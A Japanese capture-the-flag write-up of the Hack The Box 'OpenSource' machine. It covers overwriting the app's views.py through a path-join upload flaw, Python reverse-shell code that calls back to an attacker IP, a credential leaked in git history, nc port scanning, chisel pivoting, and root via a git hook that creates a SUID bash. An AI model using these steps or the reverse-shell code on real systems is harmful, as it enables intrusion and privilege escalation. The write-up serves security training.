Hack the box - OpenSource
Hack the boxのOepnSourceを完了したのでメモ。
| 難易度 | Writeupを |
|---|---|
| Easy | 見た |
1. nmapでrecon
- 22番でSSH、80番でWebサーバが動いていることを確認
2. Webサーバが動いているのでアクセス
- upcloudというファイル共有OSSのホームページ?
- gobusterをかける+ページ内を探索すると有効なリンクは以下の2つくらいしかなさそう
/download/upcloud/console
3. /consoleにアクセス
- Interactive Consoleなるものが現れてPythonで操作できるみたいだが、PIN入力を突破しなければ使えない
4. /upcloudにアクセス
- ファイルのアップロード画面が表示される
- 試しに
hogehoge.txtをアップしてみると、/uploads/hogehoge.txtというパスでダウンロードできるようなリンクが発行される - Burp経由でアクセスを見るとこんな感じ
POST /upcloud HTTP/1.1Host: <IPADDR>:80User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: ja,en-US;q=0.7,en;q=0.3Accept-Encoding: gzip, deflateContent-Type: multipart/form-data; boundary=---------------------------235176309523446480383430791439Content-Length: 240Origin: http://<IPADDR>:80Connection: closeReferer: http://<IPADDR>:80/upcloudCookie: sidebar_collapsed=falseUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1
-----------------------------235176309523446480383430791439Content-Disposition: form-data; name="file"; filename="hogehoge.txt"Content-Type: text/plain
hogehoge content-----------------------------235176309523446480383430791439--5. /downloadにアクセス
- zipが落ちてくる
- 展開すると以下の構成
├── app│ ├── app│ │ ├── configuration.py│ │ ├── __init__.py│ │ ├── static│ │ │ ├── css│ │ │ │ └── style.css│ │ │ ├── js│ │ │ │ ├── ie10-viewport-bug-workaround.js│ │ │ │ └── script.js│ │ │ └── vendor│ │ │ └── (省略)│ │ ├── templates│ │ │ ├── index.html│ │ │ ├── success.html│ │ │ └── upload.html│ │ ├── utils.py│ │ └── views.py│ ├── INSTALL.md│ ├── public│ │ └── uploads│ └── run.py├── build-docker.sh├── config│ └── supervisord.conf└── Dockerfile
6. コードを見ていく
/Dockerfile- Webアプリは
- コンテナで動いており、ホストの80番ポートをゲストの80番ポートにバインドしている
- Flaskが使われている
- コンテナにインストールされたsupervisor上で動作させている
- configは
/config/supervisord.confにあるuser=rootは何かに使えるか
python /app/run.pyでアプリケーションが動作
- configは
- Webアプリは
/config/supervisord.confuser=rootは何かに使えるかpython /app/run.pyでアプリケーションが動作
/appディレクトリ/app/run.py:/app/appディレクトリのモジュールを読み込んで起動してるだけ/app/app/__init__.py:環境変数のMODEで使用するコンフィグを本番/検証環境で切り替え/app/app/configuration.py:各環境に応じたコンフィグがセットされている、CSRF_ENABLEDが気になる/app/app/views.py:ビューを定義/- GETだったら
upload.htmlを返す - POSTだったら
- request.files(アップロードされたファイルを格納した変数)からファイルを抽出
- ファイルシステム上の
/現在のディレクトリ/public/uploads/ファイル名で保存 success.htmlを返すともにファイルのダウンロードリンク(http:/<IPADDR>/uploads/filename)を表示する
- GETだったら
/uploads/<path:path:>pathからget_file_nameでセキュアにファイル名を抽出/現在のディレクトリ/public/uploads/ファイル名にあるファイルを返す
/app/app/utils.py:view.pyで使うユーティリティを記述get_file_name()、recursive_replace()は引数に渡されるファイル名から../を再帰的に除いてディレクトリトラバーサルを回避するget_unique_upload_name():どこにも使われてなさそう、実装途中?
/templatesディレクトリ:各画面のテンプレート
.git
7. .gitを探索
publicとdevのbranchがあるgit logコマンドで過去のコミットが見れるgit diffでコミット間の差分を見ていると気になる文字列を発見
{ "python.pythonPath": "/home/dev01/.virtualenvs/flask-app-b5GscEs_/bin/python", "http.proxy": "http://dev01:Soulless_Developer#[email protected]:5187/", "http.proxyStrictSSL": false}8. Webアプリにおけるos.path.join()の性質
- 以下リンクにある通り、
os.path.join()の2番目以降の引数に絶対パスを指定すると、パスを結合せずにその絶対パスが返される - この性質を利用して、Webアプリのコードを書き換える
9. webシェルの作成とアップロード
- ソースコードに以下を追記
...import sys,socket,os,pty
...
@app.route('/shell')def execute(): import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("10.10.14.22",4444)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) pty.spawn("/bin/sh")- Burpで適当なファイルを
/upcloudへアップロードする際に、リクエストを書き換えるfilenameパラメータは/app/app/views.pyにする- ファイルコンテンツは追記した
views.pyのソースコード全部
- アップロードが完了したら、
/shellへアクセスして確認 →ncでTCPサーバを立ち上げてるとシェルが取れる
10. コンテナ内の探索
- 特に興味深いものはない
11. 横展開のためのネットワーク探索
ncを使ったポートスキャン
/app # for i in $(seq 1 65535); do nc -nvz -w 1 172.17.0.1 $i 2>&1; done | grep -v "refused"172.17.0.1 (172.17.0.1:22) open172.17.0.1 (172.17.0.1:80) open172.17.0.1 (172.17.0.1:3000) open172.17.0.1 (172.17.0.1:6000) open172.17.0.1 (172.17.0.1:6001) open172.17.0.1 (172.17.0.1:6002) open172.17.0.1 (172.17.0.1:6003) open172.17.0.1 (172.17.0.1:6004) open172.17.0.1 (172.17.0.1:6005) open172.17.0.1 (172.17.0.1:6006) open172.17.0.1 (172.17.0.1:6007) open- これらのポートにアクセスしたいが、ローカルマシンからでは22と80しかアクセスできない
- Chiselを使ってWebアプリのコンテナを踏み台にする
12. Chisel
- GitHub - jpillora/chisel から64bitのバイナリを落としてくる
- ローカルマシンにて
$ ./chisel_1.8.1_linux_amd64 server -p 8888 --reverse- Webアプリが動くコンテナにて
$ ./chisel_1.8.1_linux_amd64 client 10.10.14.34:8888 R:3000:172.17.0.1:3000これで、ローカルマシンの3000ポートは172.17.0.1:3000に転送されるようになった
13. 172.17.0.1:3000にアクセス:Gitea
home_backupなるレポジトリにSSHの秘密鍵が入っているので、これでdev01ユーザとしてSSHログインできる → フラグ奪取
14. dev01から権限昇格のためのホスト内探索
sudo、dockerは使えない/home/dev01/.git/に気付くgit logをするといくつかのコミットが見れるが、コメントがすべてBackup for yyyy-mm-dd- 自動でバックアップする機構が存在する?
- Cronで仕掛けてるかどうかも確認するため
pspy/bin/bash /usr/local/bin/git-syncが定期的に実行されている
- ファイルを見てみるとこんな感じ、バックアップの正体はこれだった
rootで動作するので、これは使えそう
dev01@opensource:~$ ls -la /usr/local/bin/git-sync-rwxr-xr-x 1 root root 239 Mar 23 2022 /usr/local/bin/git-syncdev01@opensource:~$ cat /usr/local/bin/git-sync#!/bin/bash
cd /home/dev01/
if ! git status --porcelain; then echo "No changes"else day=$(date +'%Y-%m-%d') echo "Changes detected, pushing.." git add . git commit -m "Backup for ${day}" git push origin mainfi15. Git Hooksを活用する
- Gitで特定のイベント発生時にスクリプトを実行するGit Hooksなる仕組みがあるらしい:Git - Git フック
.git/hooks/にカスタムスクリプトを配置すれば、/usr/local/bin/git-syncをトリガーに実行されるはず、それもroot権限で- こんな感じで作成
#!/bin/bash
cp /bin/bash /tmp/pocchown root:root /tmp/pocchmod 4777 /tmp/poc- 適当に待ってると、
pspyを垂れ流してる画面に上記のカスタムスクリプトを実行したログも出てくる /tmp/poc -pで権限昇格
dev01@opensource:~$ /tmp/poc -ppoc-4.4# iduid=1000(dev01) gid=1000(dev01) euid=0(root) groups=1000(dev01)poc-4.4# whoamiroot